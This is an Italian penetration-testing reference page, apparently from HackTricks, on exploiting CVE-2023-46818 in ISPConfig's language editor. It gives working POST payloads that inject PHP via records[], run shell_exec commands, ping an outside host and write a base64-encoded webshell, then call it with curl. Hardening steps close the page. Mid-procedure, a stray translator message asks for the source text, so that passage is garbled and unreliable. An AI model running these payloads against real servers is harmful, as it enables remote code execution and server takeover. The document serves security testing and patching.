ISPConfig

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

ISPConfig è un control panel di hosting open-source. Le vecchie build 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'injection di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation.

Percorsi predefiniti principali:

  • Web root spesso in /var/www/ispconfig quando servito con php -S o via Apache/nginx.
  • L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario).

Suggerimento: se il pannello è legato localmente (es. 127.0.0.1:8080), effettua il port-forward:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Interessato: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1)
  • Precondizioni:
  • Effettuare il login con l'account superadmin integrato admin (altri ruoli non sono interessati secondo il vendor)
  • Il language editor deve essere abilitato: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impatto: un admin autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. Open/create a language file to obtain CSRF tokens

Inviare una prima POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (csrf_id, csrf_key). Esempio di request path: /admin/language_edit.php.

  1. Inject PHP via records[] and save

Inviare una seconda POST includendo i campi CSRF e un record di traduzione malevolo. Sonde minime per l'esecuzione di comandi:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (osservare ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Scrivere file e caricare una webshell

Usare file_put_contents per creare un file sotto un percorso raggiungibile via web (es., admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Poi scrivi una semplice webshell usando base64 per evitare caratteri problematici nel corpo della POST:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Non vedo il contenuto da tradurre. Per favore incolla qui il testo del file src/network-services-pentesting/pentesting-web/ispconfig.md (o caricalo). Posso tradurlo in italiano mantenendo intatti codice, tag, link e percorsi come richiesto.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se PHP viene eseguito come root (es. tramite php -S 127.0.0.1:8080 avviato da root), ciò porta a root RCE immediato. Altrimenti ottieni l'esecuzione di codice come l'utente del web server.

Python PoC

Un exploit pronto all'uso automatizza la gestione dei token e la consegna del payload:

Esempio di esecuzione:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Rafforzamento

  • Aggiornare alla versione 3.2.11p1 o successiva
  • Disabilitare l'editor delle lingue a meno che non sia strettamente necessario:
admin_allow_langedit=no
  • Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi
  • Applica un'autenticazione forte per l'account integrato admin

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks